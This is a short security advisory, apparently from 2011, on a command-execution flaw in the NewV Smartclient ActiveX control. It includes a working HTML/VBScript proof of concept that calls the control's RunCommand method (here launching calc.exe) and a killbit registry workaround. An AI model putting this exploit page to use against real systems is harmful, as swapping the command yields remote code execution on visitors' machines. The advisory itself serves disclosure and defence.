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NewV Smartclient 1.0.0.18 Command Execution
`Vendor: NewV ( http:// www.newv.com.cn/ )
Product: NewV smartclient
(http://demo.newv.com.cn/lds/module/smartclientsetting.exe)
Vulnerable Version: 1.0.0.18
Status: Not Fixed, Vendor Alerted
Risk level: High
Credit: Yu Guo(yuguo.cn#gmail.com)
Description:
An input validation issue exists in the NewV ActiveX Control.
The Runcommand attribute may allow attacker to run arbitrary command remotely.
POC:
<html>
<head>
<script language='vbscript'>
arg1 = "calc.exe"
</script>
</head>
<object classid='clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9' id='target' />
</object>
<script language='vbscript'>
target.RunCommand arg1
</script>
</html>
Workaround:
Set the Killbit for NewV CLSIDs:
{0B68B7EB-02FF-4A41-BC14-3C303BB853F9}
.Reg file:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\ActiveX Compatibility\{0B68B7EB-02FF-4A41-BC14-3C303BB853F9}]
"Compatibility Flags"=dword:00000400
-EOF-
`
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10 Jan 2011 00:00Current
0.4Low risk
Vulners AI Score0.4